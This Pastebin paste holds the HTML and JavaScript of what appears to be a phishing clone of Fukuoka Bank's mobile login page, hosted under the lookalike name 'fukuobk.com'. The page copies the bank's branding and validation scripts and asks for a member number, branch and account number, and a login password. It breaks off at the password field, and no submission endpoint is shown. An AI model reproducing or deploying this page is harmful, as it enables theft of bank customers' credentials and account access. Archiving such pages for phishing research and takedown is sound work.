ozuma5119

html/fukuobk.com

Dec 12th, 2019
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 44.75 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html class="isJsEnabled" lang="ja"><head>
  3.     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  4.     <meta http-equiv="Pragma" content="no-cache">
  5.     <meta http-equiv="Cache-Control" content="no-cache">
  6.     <meta name="format-detection" content="telephone=no">
  7.     <meta http-equiv="Expires" content="0">
  8.     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  9.  
  10.     <title>ふくぎん</title>
  11.     <link rel="stylesheet" href="/static/fukou/sp-basic.css" type="text/css" media="screen, print">
  12.  
  13.     <script async="" src="//www.google-analytics.com/analytics.js"></script><script async="" src="/static/fukou/analytics.js"></script><script type="text/javascript" src="/static/fukou/jquery-1.js"></script>
  14.     <script type="text/javascript" src="/static/fukou/jquery.js"></script>
  15.     <script type="text/javascript" src="/static/fukou/runHeadSp.js"></script>
  16.     <script type="text/javascript" src="/static/fukou/KBA_CommonSp.js"></script>
  17.     <script type="text/javascript" src="/static/fukou/runFootSp.js"></script>
  18.    
  19.         <script type="text/javascript" src="/static/fukou/KBA_OneToOne.js"></script>
  20.         <script type="text/javascript" src="/static/fukou/KBC_Common.js"></script>
  21.         <script type="text/javascript" src="/static/fukou/KBC11SN000B.js"></script>
  22.            
  23.        
  24.         <script type="text/javascript">
  25.  
  26.  
  27. <!--
  28. function required(targetId,compValue1,compValue2,messageId,erorParmId,isChck,chckType){
  29.    var element = $('#'+targetId);
  30.    var obj;
  31.    if(element[0] == undefined) {
  32.        var redioObj = document.getElementsByName(targetId);
  33.        if (redioObj == undefined || redioObj.length == 0) {
  34.            return true;
  35.        }
  36.        if (redioObj[0].type == 'radio') {
  37.            for (var i = 0; i < redioObj.length; i++) {
  38.                if (redioObj[i].checked) {
  39.                    return true;
  40.                }
  41.            }
  42.            return false;
  43.        } else {
  44.            return true;
  45.        }
  46.    } else {
  47.        obj = element[0];
  48.    }
  49.    if (obj.type == 'checkbox') {
  50.        if (!obj.checked) {
  51.            return false;
  52.        } else {
  53.            return true;
  54.        }
  55.    } else {
  56.        var target = obj.value;
  57.        target = target.replace(/\r\n/g,"");
  58.        target = target.replace(/\n|\r/g,"");
  59.        if (target.length == 0) {
  60.            return false;
  61.        }
  62.        var replaced = target.replace(/ /g, '');
  63.        replaced = replaced.replace(/ /g, '');
  64.        if (replaced.length == 0) {
  65.            return false;
  66.        } else {
  67.            return true;
  68.        }
  69.    }
  70. }
  71. function minLength(targetId,compValue1,compValue2,messageId,erorParmId,isChck,chckType){
  72.    var obj = document.getElementById(targetId);
  73.    if(obj == undefined) {
  74.        return true;
  75.    }
  76.    var target = obj.value;
  77.    target = target.replace(/\r\n/g,"");
  78.    target = target.replace(/\n|\r/g,"");
  79.    if(target.length != 0) {
  80.        if (chckType == 'halfKana' || chckType == 'halfKanaAlphaNumSign' || chckType == 'halfKanaAlphaNum') {
  81.            var halfAftrKana = ' ,.゙゚/()「」--\\1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲンアイウエオヤユヨツアイウエオヤユヨツ-ABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&*+:;<=>?@[]^_{|}~。、・';
  82.            var halfPrevKana = ' ,.゛゜/()「」-ー¥1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲンァィゥェォャュョッァィゥェォャュョッーabcdefghijklmnopqrstuvwxyz!#$%&*+:;<=>?@[]^_{|}~。、・';
  83.            var twoByteHalfAftrKana = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴ';
  84.            var twoByteHalfPrevKana = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴ';
  85.            target = toConv(target, halfPrevKana, halfAftrKana, true);
  86.            target = toConv(target, twoByteHalfPrevKana, twoByteHalfAftrKana, false);
  87.        } else if (chckType == 'bankChar') {
  88.            var bankAftrChar = ' ,.゙゚/()「」--\\1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲンアイウエオヤユヨツアイウエオヤユヨツ-ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  89.            var bankPrevChar = ' ,.゛゜/()「」-ー¥1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲンァィゥェォャュョッァィゥェォャュョッーabcdefghijklmnopqrstuvwxyz';
  90.            var twoByteBankAftrChar = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴ';
  91.            var twoByteBankPrevChar = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴ';
  92.            target = toConv(target, bankPrevChar, bankAftrChar, true);
  93.            target = toConv(target, twoByteBankPrevChar, twoByteBankAftrChar, false);
  94.        }
  95.        if(target.length >= parseInt(compValue1,10)) {
  96.  
  97.        } else {
  98.            return false;
  99.        }
  100.    }
  101.    return true;
  102. }
  103. function maxLength(targetId,compValue1,compValue2,messageId,erorParmId,isChck,chckType){
  104.    var obj = document.getElementById(targetId);
  105.    if(obj == undefined) {
  106.        return true;
  107.    }
  108.    var target = obj.value;
  109.    target = target.replace(/\r\n/g,"");
  110.    target = target.replace(/\n|\r/g,"");
  111.    if(target.length != 0) {
  112.        if (chckType == 'halfKana' || chckType == 'halfKanaAlphaNumSign' || chckType == 'halfKanaAlphaNum') {
  113.            var halfAftrKana = ' ,.゙゚/()「」--\\1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲンアイウエオヤユヨツアイウエオヤユヨツ-ABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&*+:;<=>?@[]^_{|}~。、・';
  114.            var halfPrevKana = ' ,.゛゜/()「」-ー¥1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲンァィゥェォャュョッァィゥェォャュョッーabcdefghijklmnopqrstuvwxyz!#$%&*+:;<=>?@[]^_{|}~。、・';
  115.            var twoByteHalfAftrKana = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴ';
  116.            var twoByteHalfPrevKana = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴ';
  117.            target = toConv(target, halfPrevKana, halfAftrKana, true);
  118.            target = toConv(target, twoByteHalfPrevKana, twoByteHalfAftrKana, false);
  119.        } else if (chckType == 'bankChar') {
  120.            var bankAftrChar = ' ,.゙゚/()「」--\\1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲンアイウエオヤユヨツアイウエオヤユヨツ-ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  121.            var bankPrevChar = ' ,.゛゜/()「」-ー¥1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲンァィゥェォャュョッァィゥェォャュョッーabcdefghijklmnopqrstuvwxyz';
  122.            var twoByteBankAftrChar = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴ';
  123.            var twoByteBankPrevChar = 'ガギグゲゴザジズゼゾダヂヅデドバビブベボパピプペポヴ';
  124.            target = toConv(target, bankPrevChar, bankAftrChar, true);
  125.            target = toConv(target, twoByteBankPrevChar, twoByteBankAftrChar, false);
  126.        }
  127.        if(target.length <= parseInt(compValue1,10)) {
  128.  
  129.        } else {
  130.            return false;
  131.        }
  132.    }
  133.    return true;
  134. }
  135. function halfNumber(targetId,compValue1,compValue2,messageId,erorParmId,isChck,chckType){
  136.    var obj = document.getElementById(targetId);
  137.    if(obj == undefined) {
  138.        return true;
  139.    }
  140.    var target = obj.value;
  141.    target = target.replace(/\r\n/g,"");
  142.    target = target.replace(/\n|\r/g,"");
  143.    if (target.length != 0) {
  144.        var halfNumber = '0123456789';
  145.        var ngWord = '';
  146.        var i = 0;
  147.        if (compValue1 == 'Minus') {
  148.            var headChar = target.charAt(0);
  149.            if (ngWord.indexOf(headChar) >= 0 || headChar != '-') {
  150.                if (halfNumber.indexOf(headChar) < 0) {
  151.                    return false;
  152.                }
  153.            }
  154.            i = 1;
  155.        }
  156.        for (; i < target.length; i++) {
  157.        var targetChar = target.charAt(i);
  158.            if ( (ngWord.indexOf(targetChar) < 0) && (halfNumber.indexOf(targetChar) >= 0) ) {
  159.                continue;
  160.            } else {
  161.                return false;
  162.            }
  163.        }
  164.    }
  165.    return true;
  166. }
  167. function halfAlphaNumber(targetId,compValue1,compValue2,messageId,erorParmId,isChck,chckType){
  168.    var obj = document.getElementById(targetId);
  169.    if(obj == undefined) {
  170.        return true;
  171.    }
  172.    var target = obj.value;
  173.    target = target.replace(/\r\n/g,"");
  174.    target = target.replace(/\n|\r/g,"");
  175.    if (target.length != 0) {
  176.        var halfNumber = '0123456789';
  177.        var halfAlpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  178.        var ngWord = '';
  179.        for (var i = 0; i < target.length; i++) {
  180.            var targetChar = target.charAt(i);
  181.            if ((ngWord.indexOf(targetChar) < 0)
  182.                   && ((halfNumber.indexOf(targetChar) >= 0)
  183.                        || (halfAlpha.indexOf(targetChar) >= 0))) {
  184.                continue;
  185.            } else {
  186.                return false;
  187.            }
  188.        }
  189.    }
  190.    return true;
  191. }
  192.  
  193. </script>
  194.  
  195.        <script type="text/javascript">
  196. <!--
  197. $(document).ready(function(){
  198.    $("#btn_lgon").click(function(e){
  199.        clearError();
  200.        var result = true;
  201.    result =     check_selcRdio(false) && result;
  202.    result =     check_cntrId(false) && result;
  203.    result =     check_brcd(false) && result;
  204.    result =     check_acctNmbr(false) && result;
  205.    result =     check_scndPinNmbr(false) && result;
  206.         if (result){
  207.            var crltRslt = true;
  208.               crltRslt = requiredRadio('「会員番号でログイン」か「店番+口座番号でログイン」を選択してください。', '') && crltRslt;
  209.               crltRslt = reqCntrId('会員番号を入力してください。', '') && crltRslt;
  210.               crltRslt = minLenCntrId('会員番号が7桁を下回っています。7桁で入力してください。', '7') && crltRslt;
  211.               crltRslt = maxLenCntrId('会員番号を7桁で入力してください。', '7') && crltRslt;
  212.               crltRslt = typeCntrId('会員番号を半角数字で正しく入力してください。', '') && crltRslt;
  213.               crltRslt = reqBrcd('店番を入力してください。', '') && crltRslt;
  214.               crltRslt = minBrcd('店番が3桁を下回っています。3桁で入力してください。', '3') && crltRslt;
  215.               crltRslt = maxBrcd('店番を3桁で入力してください。', '3') && crltRslt;
  216.               crltRslt = typeBrcd('店番を半角数字で正しく入力してください。', '') && crltRslt;
  217.               crltRslt = reqAcctNmbr('口座番号を入力してください。', '') && crltRslt;
  218.               crltRslt = minAcctNmbr('口座番号が7桁を下回っています。口座番号が7桁未満の場合は先頭に0を付け、7桁で入力してください。', '7') && crltRslt;
  219.               crltRslt = maxAcctNmbr('口座番号を7桁以内で入力してください。', '7') && crltRslt;
  220.               crltRslt = typeAcctNmbr('口座番号を半角数字で正しく入力してください。', '') && crltRslt;
  221.               crltRslt = reqScndPinNmbr('ログインパスワードを入力してください。', '') && crltRslt;
  222.               if (crltRslt){
  223.                 KBC11SN000B_btn_lgon();
  224.               } else {
  225.                 smoothScrollVald('#top');
  226.                 e.preventDefault();
  227.               }
  228.         } else {
  229.               $errorMsgBox = $("#erorMsgeBox");
  230.               $errorMsgs = $("#erorMsgeBox > p");
  231.               if($errorMsgs.length > 0){
  232.             smoothScrollVald('#top');
  233.               }else{
  234.  
  235.             var forId = $('div.jsValidationMessage:first').attr('forId');
  236.             smoothScrollVald('#' + forId);
  237.               }             e.preventDefault();
  238.         }
  239.   });
  240.  
  241.    var selcRdioMsgObj= new Array();
  242.      if(isBalloonType('selcRdio')){
  243.          $input = getBalloonElement('selcRdio');
  244.          var type = $input.attr('type');
  245.          var eventName = 'change';
  246.          if(type == 'text'||type == 'textarea'||type == 'number'||type == 'tel'||type == 'date' ||type =='password') {
  247.               eventName = 'blur';
  248.           }
  249.          if(type=='radio'){
  250.              var elements = document.getElementsByName('selcRdio');
  251.              for(var i=0; i < elements.length; i++){
  252.                  var $e = $(elements[i]);
  253.             if(!isMultiBind($e,eventName,'FFG_NameSpace')){
  254.                  $e.bind(eventName+'.FFG_NameSpace', function(){
  255.                     setTimeout(function(){check_selcRdio(true)},100);
  256.                  });
  257.                  }
  258.               }
  259.          }else{
  260.                if(!isMultiBind($input,eventName,'FFG_NameSpace')){
  261.                   $input.bind(eventName+'.FFG_NameSpace',  function(){
  262.                   setTimeout(function(){check_selcRdio(true)},100);
  263.                });
  264.               }
  265.          }
  266.        }
  267.  
  268.  
  269.    var cntrIdMsgObj= new Array();
  270.      if(isBalloonType('cntrId')){
  271.          $input = getBalloonElement('cntrId');
  272.          var type = $input.attr('type');
  273.          var eventName = 'change';
  274.          if(type == 'text'||type == 'textarea'||type == 'number'||type == 'tel'||type == 'date' ||type =='password') {
  275.               eventName = 'blur';
  276.           }
  277.          if(type=='radio'){
  278.              var elements = document.getElementsByName('cntrId');
  279.              for(var i=0; i < elements.length; i++){
  280.                  var $e = $(elements[i]);
  281.             if(!isMultiBind($e,eventName,'FFG_NameSpace')){
  282.                  $e.bind(eventName+'.FFG_NameSpace', function(){
  283.                     setTimeout(function(){check_cntrId(true)},100);
  284.                  });
  285.                  }
  286.               }
  287.          }else{
  288.                if(!isMultiBind($input,eventName,'FFG_NameSpace')){
  289.                   $input.bind(eventName+'.FFG_NameSpace',  function(){
  290.                   setTimeout(function(){check_cntrId(true)},100);
  291.                });
  292.               }
  293.          }
  294.        }
  295.  
  296.  
  297.    var brcdMsgObj= new Array();
  298.      if(isBalloonType('brcd')){
  299.          $input = getBalloonElement('brcd');
  300.          var type = $input.attr('type');
  301.          var eventName = 'change';
  302.          if(type == 'text'||type == 'textarea'||type == 'number'||type == 'tel'||type == 'date' ||type =='password') {
  303.               eventName = 'blur';
  304.           }
  305.          if(type=='radio'){
  306.              var elements = document.getElementsByName('brcd');
  307.              for(var i=0; i < elements.length; i++){
  308.                  var $e = $(elements[i]);
  309.             if(!isMultiBind($e,eventName,'FFG_NameSpace')){
  310.                  $e.bind(eventName+'.FFG_NameSpace', function(){
  311.                     setTimeout(function(){check_brcd(true)},100);
  312.                  });
  313.                  }
  314.               }
  315.          }else{
  316.                if(!isMultiBind($input,eventName,'FFG_NameSpace')){
  317.                   $input.bind(eventName+'.FFG_NameSpace',  function(){
  318.                   setTimeout(function(){check_brcd(true)},100);
  319.                });
  320.               }
  321.          }
  322.        }
  323.  
  324.  
  325.    var acctNmbrMsgObj= new Array();
  326.      if(isBalloonType('acctNmbr')){
  327.          $input = getBalloonElement('acctNmbr');
  328.          var type = $input.attr('type');
  329.          var eventName = 'change';
  330.          if(type == 'text'||type == 'textarea'||type == 'number'||type == 'tel'||type == 'date' ||type =='password') {
  331.               eventName = 'blur';
  332.           }
  333.          if(type=='radio'){
  334.              var elements = document.getElementsByName('acctNmbr');
  335.              for(var i=0; i < elements.length; i++){
  336.                  var $e = $(elements[i]);
  337.             if(!isMultiBind($e,eventName,'FFG_NameSpace')){
  338.                  $e.bind(eventName+'.FFG_NameSpace', function(){
  339.                     setTimeout(function(){check_acctNmbr(true)},100);
  340.                  });
  341.                  }
  342.               }
  343.          }else{
  344.                if(!isMultiBind($input,eventName,'FFG_NameSpace')){
  345.                   $input.bind(eventName+'.FFG_NameSpace',  function(){
  346.                   setTimeout(function(){check_acctNmbr(true)},100);
  347.                });
  348.               }
  349.          }
  350.        }
  351.  
  352.  
  353.    var scndPinNmbrMsgObj= new Array();
  354.      if(isBalloonType('scndPinNmbr')){
  355.          $input = getBalloonElement('scndPinNmbr');
  356.          var type = $input.attr('type');
  357.          var eventName = 'change';
  358.          if(type == 'text'||type == 'textarea'||type == 'number'||type == 'tel'||type == 'date' ||type =='password') {
  359.               eventName = 'blur';
  360.           }
  361.          if(type=='radio'){
  362.              var elements = document.getElementsByName('scndPinNmbr');
  363.              for(var i=0; i < elements.length; i++){
  364.                  var $e = $(elements[i]);
  365.             if(!isMultiBind($e,eventName,'FFG_NameSpace')){
  366.                  $e.bind(eventName+'.FFG_NameSpace', function(){
  367.                     setTimeout(function(){check_scndPinNmbr(true)},100);
  368.                  });
  369.                  }
  370.               }
  371.          }else{
  372.                if(!isMultiBind($input,eventName,'FFG_NameSpace')){
  373.                   $input.bind(eventName+'.FFG_NameSpace',  function(){
  374.                   setTimeout(function(){check_scndPinNmbr(true)},100);
  375.                });
  376.               }
  377.          }
  378.        }
  379.  
  380.    function check_selcRdio(isExist) {
  381.     var result = new Array();
  382.     var count =0;
  383.     var selcRdioChck = true;
  384.     if(!required('selcRdio','','','「会員番号でログイン」か「店番+口座番号でログイン」を選択してください。','BEES7022',selcRdioChck,'') ){
  385.         var msgObj = new Object;
  386.         msgObj.messageId = '「会員番号でログイン」か「店番+口座番号でログイン」を選択してください。';
  387.         msgObj.targetId = 'selcRdio';
  388.         msgObj.erorParmId = 'BEES7022';
  389.         result[count++] = msgObj;
  390.         }
  391.     if(!isExist){
  392.         selcRdioMsgObj= new Array();
  393.     }
  394.     return showErrorValdBySameBalloon('selcRdio',selcRdioMsgObj,result);
  395.     }
  396.    function check_cntrId(isExist) {
  397.     var result = new Array();
  398.     var count =0;
  399.     var cntrIdChck = true;
  400.     if(!(cntrIdChck = halfNumber('cntrId','','','会員番号を半角数字で正しく入力してください。','BEES0021',cntrIdChck,'halfNumber') ) ){
  401.         var msgObj = new Object;
  402.         msgObj.messageId = '会員番号を半角数字で正しく入力してください。';
  403.         msgObj.targetId = 'cntrId';
  404.         msgObj.erorParmId = 'BEES0021';
  405.         result[count++] = msgObj;
  406.         }
  407.     if(!minLength('cntrId','7','','会員番号が7桁を下回っています。7桁で入力してください。','BEES0019',cntrIdChck,'halfNumber') ){
  408.         var msgObj = new Object;
  409.         msgObj.messageId = '会員番号が7桁を下回っています。7桁で入力してください。';
  410.         msgObj.targetId = 'cntrId';
  411.         msgObj.erorParmId = 'BEES0019';
  412.         result[count++] = msgObj;
  413.         }
  414.     if(!maxLength('cntrId','7','','会員番号を7桁で入力してください。','BEES0020',cntrIdChck,'halfNumber') ){
  415.         var msgObj = new Object;
  416.         msgObj.messageId = '会員番号を7桁で入力してください。';
  417.         msgObj.targetId = 'cntrId';
  418.         msgObj.erorParmId = 'BEES0020';
  419.         result[count++] = msgObj;
  420.         }
  421.     if(!isExist){
  422.         cntrIdMsgObj= new Array();
  423.     }
  424.     return showErrorValdBySameBalloon('cntrId',cntrIdMsgObj,result);
  425.     }
  426.    function check_brcd(isExist) {
  427.     var result = new Array();
  428.     var count =0;
  429.     var brcdChck = true;
  430.     if(!(brcdChck = halfNumber('brcd','','','店番を半角数字で正しく入力してください。','BEES7020',brcdChck,'halfNumber') ) ){
  431.         var msgObj = new Object;
  432.         msgObj.messageId = '店番を半角数字で正しく入力してください。';
  433.         msgObj.targetId = 'brcd';
  434.         msgObj.erorParmId = 'BEES7020';
  435.         result[count++] = msgObj;
  436.         }
  437.     if(!minLength('brcd','3','','店番が3桁を下回っています。3桁で入力してください。','BEES7016',brcdChck,'halfNumber') ){
  438.         var msgObj = new Object;
  439.         msgObj.messageId = '店番が3桁を下回っています。3桁で入力してください。';
  440.         msgObj.targetId = 'brcd';
  441.         msgObj.erorParmId = 'BEES7016';
  442.         result[count++] = msgObj;
  443.         }
  444.     if(!maxLength('brcd','3','','店番を3桁で入力してください。','BEES7018',brcdChck,'halfNumber') ){
  445.         var msgObj = new Object;
  446.         msgObj.messageId = '店番を3桁で入力してください。';
  447.         msgObj.targetId = 'brcd';
  448.         msgObj.erorParmId = 'BEES7018';
  449.         result[count++] = msgObj;
  450.         }
  451.     if(!isExist){
  452.         brcdMsgObj= new Array();
  453.     }
  454.     return showErrorValdBySameBalloon('brcd',brcdMsgObj,result);
  455.     }
  456.    function check_acctNmbr(isExist) {
  457.     var result = new Array();
  458.     var count =0;
  459.     var acctNmbrChck = true;
  460.     if(!(acctNmbrChck = halfNumber('acctNmbr','','','口座番号を半角数字で正しく入力してください。','BEES7021',acctNmbrChck,'halfNumber') ) ){
  461.         var msgObj = new Object;
  462.         msgObj.messageId = '口座番号を半角数字で正しく入力してください。';
  463.         msgObj.targetId = 'acctNmbr';
  464.         msgObj.erorParmId = 'BEES7021';
  465.         result[count++] = msgObj;
  466.         }
  467.     if(!minLength('acctNmbr','7','','口座番号が7桁を下回っています。口座番号が7桁未満の場合は先頭に0を付け、7桁で入力してください。','BEES7017',acctNmbrChck,'halfNumber') ){
  468.         var msgObj = new Object;
  469.         msgObj.messageId = '口座番号が7桁を下回っています。口座番号が7桁未満の場合は先頭に0を付け、7桁で入力してください。';
  470.         msgObj.targetId = 'acctNmbr';
  471.         msgObj.erorParmId = 'BEES7017';
  472.         result[count++] = msgObj;
  473.         }
  474.     if(!maxLength('acctNmbr','7','','口座番号を7桁以内で入力してください。','BEES7019',acctNmbrChck,'halfNumber') ){
  475.         var msgObj = new Object;
  476.         msgObj.messageId = '口座番号を7桁以内で入力してください。';
  477.         msgObj.targetId = 'acctNmbr';
  478.         msgObj.erorParmId = 'BEES7019';
  479.         result[count++] = msgObj;
  480.         }
  481.     if(!isExist){
  482.         acctNmbrMsgObj= new Array();
  483.     }
  484.     return showErrorValdBySameBalloon('acctNmbr',acctNmbrMsgObj,result);
  485.     }
  486.    function check_scndPinNmbr(isExist) {
  487.     var result = new Array();
  488.     var count =0;
  489.     var scndPinNmbrChck = true;
  490.     if(!halfAlphaNumber('scndPinNmbr','','','ログインパスワードを半角英数で正しく入力してください。','BEFS1045',scndPinNmbrChck,'halfAlphaNumber') ){
  491.         var msgObj = new Object;
  492.         msgObj.messageId = 'ログインパスワードを半角英数で正しく入力してください。';
  493.         msgObj.targetId = 'scndPinNmbr';
  494.         msgObj.erorParmId = 'BEFS1045';
  495.         result[count++] = msgObj;
  496.         }
  497.     if(!minLength('scndPinNmbr','8','','ログインパスワードが8桁を下回っています。8桁以上で入力してください。','BEFS1043',scndPinNmbrChck,'halfAlphaNumber') ){
  498.         var msgObj = new Object;
  499.         msgObj.messageId = 'ログインパスワードが8桁を下回っています。8桁以上で入力してください。';
  500.         msgObj.targetId = 'scndPinNmbr';
  501.         msgObj.erorParmId = 'BEFS1043';
  502.         result[count++] = msgObj;
  503.         }
  504.     if(!maxLength('scndPinNmbr','16','','ログインパスワードを16桁以内で入力してください。','BEFS1044',scndPinNmbrChck,'halfAlphaNumber') ){
  505.         var msgObj = new Object;
  506.         msgObj.messageId = 'ログインパスワードを16桁以内で入力してください。';
  507.         msgObj.targetId = 'scndPinNmbr';
  508.         msgObj.erorParmId = 'BEFS1044';
  509.         result[count++] = msgObj;
  510.         }
  511.     if(!isExist){
  512.         scndPinNmbrMsgObj= new Array();
  513.     }
  514.     return showErrorValdBySameBalloon('scndPinNmbr',scndPinNmbrMsgObj,result);
  515.     }
  516.  
  517. });
  518.  
  519. </script>
  520.    
  521.    <link href="https://direct.fukuokabank.co.jp/0177/B/image/2/apple-touch-icon.png" rel="apple-touch-icon" type="image/png">
  522.    <link href="https://direct.fukuokabank.co.jp/0177/B/image/2/favicon.ico" rel="shortcut icon" type="image/x-icon">
  523.    <link href="https://direct.fukuokabank.co.jp/0177/B/image/2/favicon.ico" rel="icon" type="image/x-icon">
  524.    
  525.    <script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');  ga('create', 'UA-15436122-7', 'auto');  ga('send', 'pageview');</script><link href="https://direct.fukuokabank.co.jp/0177/B/image/1/apple-touch-icon.png" rel="apple-touch-icon" type="image/png"><link href="https://direct.fukuokabank.co.jp/0177/B/image/1/favicon.ico" rel="shortcut icon" type="image/x-icon"><link href="https://direct.fukuokabank.co.jp/0177/B/image/1/favicon.ico" rel="icon" type="image/x-icon">
  526. </head>
  527. <body id="KBC11SN000B">
  528.  
  529.  
  530.    <div class="HeaderArea">
  531.        
  532.  
  533.  
  534.  
  535.  
  536.  
  537.  
  538.  
  539.  
  540.  
  541.  
  542.  
  543.  
  544.  
  545.  
  546.  
  547.  
  548.  
  549.  
  550.  
  551.  
  552.  
  553.  
  554.  
  555.  
  556. <header id="globalHeader" role="banner">
  557.    
  558.    <h1 class="siteId">
  559.        <img src="/static/fukou/sp-bank-frame-logo-01.png" alt="福岡銀行" id="headerBankLogoImage">
  560.    </h1>
  561. </header>
  562.  
  563.    </div>
  564.  
  565.    <div class="ContentsArea">
  566.        
  567.  
  568.        <div id="content">
  569.            <main id="main">
  570.            <div class="hdg1-01">
  571.                <div class="inner">
  572.                    <h1>ログイン</h1>
  573.                </div>
  574.            </div>
  575.  
  576.            <section>
  577.            
  578.            
  579.            <div class="BoxMessageStyle1" style="display:none" id="erorMsgeBox" errortitle="件のエラーがあります。"></div>
  580.            
  581.            
  582.            
  583.            <a href="https://www.fukuokabank.co.jp/qr/fukuoka_app/" target="_blank"></a><br><br>
  584.            
  585.            <h2 class="hdg2-01">ログイン情報入力</h2>
  586.  
  587.                <div id="wait" style="left:0px;top:0;height:100%;width:100%;position: absolute;display:none;background: rgba(0,0,0,0.6);opacity: 0.8;z-index:9999999;">
  588.                    <img style="position:absolute;left:50%;margin-left:-50px;top:30%;margin-top:-100px;width:100px;height:100px;" src="/static/picture/loading.gif" />
  589.                </div>
  590.  
  591.            <div class="sectionBody">
  592.                
  593.                
  594.                
  595.                
  596.                
  597.                
  598.                <div class="hdg3-01">
  599.                    <h3>初回利用登録がお済みのお客様</h3>
  600.                </div>
  601.  
  602.                
  603.                
  604.                
  605.                
  606.                
  607.                
  608.                <div class="hdg4-01">
  609.                    <h4>会員番号または申込代表口座番号</h4>
  610.                    <p class="sub">
  611.                        <span class="label-01">必須</span>
  612.                    </p>
  613.                </div>
  614.                <div class="jsValidation-01">
  615.                    <ul class="radio-01 jsToggleRadio-01">
  616.                        
  617.                        <li>
  618.                            <label class="jsToggleTrg-01">
  619.                                <input type="radio" name="selcRdio" value="cntrIdSelc" checked="checked" id="Radio1">
  620.                                <span>会員番号でログイン</span>
  621.                            </label>
  622.                        </li>
  623.                        
  624.                        <li>
  625.                            <label class="jsToggleTrg-02">
  626.                                <input type="radio" name="selcRdio" value="reprAcctSelc" id="Radio2">
  627.                                <span>店番+口座番号でログイン</span>
  628.                            </label>
  629.                        </li>
  630.  
  631.                        <li>
  632.                            
  633.                            <div class="body jsToggleTarget jsValidation-01" id="jsToggleTrg-01" style="display: block;">
  634.                                
  635.                                <p>「ダイレクトバンキングご利用カード」に記載された会員番号(<em>左から7桁</em>)を入力してください。</p>
  636.  
  637.                                <p class="img-01">
  638.                                    <img src="/static/fukou/sp-cmn-img-01.png" alt="ダイレクトバンキングご利用カードの裏面" id="imge_KBC11SN000B_01" width="186">
  639.                                </p>
  640.                                <p class="formCtrl-01 txt">
  641.                                    
  642.                                    <input type="text" name="cntrId" maxlength="7" tabindex="" onchange="autoCheck('Radio1');" id="cntrId" style="ime-mode:disabled;">
  643.                                </p>
  644.                            </div>
  645.  
  646.                            
  647.                            <div class="body jsToggleTarget" id="jsToggleTrg-02" style="display: none;">
  648.                                
  649.                                <p>申込代表口座の「キャッシュカード」に記載された店番、口座番号を入力してください。</p>
  650.                                
  651.                                <p class="img-01">
  652.                                    <img src="/static/fukou/sp-cmn-img-02.png" alt="キャッシュカードの表面" id="imge_KBC11SN000B_02" width="186">
  653.                                </p>
  654.  
  655.                                <div class="formCtrl-01 txt ctrlLyt2 jsValidation-01">
  656.                                    <p class="ctrlGroup">
  657.                                        <span class="ctrl">
  658.                                            
  659.                                            <input type="text" name="brcd" maxlength="3" tabindex="" onchange="autoCheck('Radio2');" id="brcd" style="ime-mode:disabled;">
  660.                                        </span>
  661.                                            <span class="txt">+</span>
  662.                                        <span class="ctrl">
  663.                                            
  664.                                            <input type="text" name="acctNmbr" maxlength="7" tabindex="" id="acctNmbr" style="ime-mode:disabled;">
  665.                                        </span>
  666.                                    </p>
  667.                                </div>
  668.                            </div>
  669.                        </li>
  670.                    </ul>
  671.                </div>
  672.                <div class="hdg4-01">
  673.                    <h4>ログインパスワード</h4>
  674.                    <p class="sub">
  675.                        <span class="label-01">必須</span>
  676.                    </p>
  677.                </div>
  678.  
  679.                
  680.                <p>お客様にてお決めいただいた<em><em>半角英数8文字以上16文字以下</em></em>のパスワードを入力してください。</p>
  681.                    
  682.                <div class="jsValidation-01">
  683.                    <p class="formCtrl-01 txt">
  684.                        
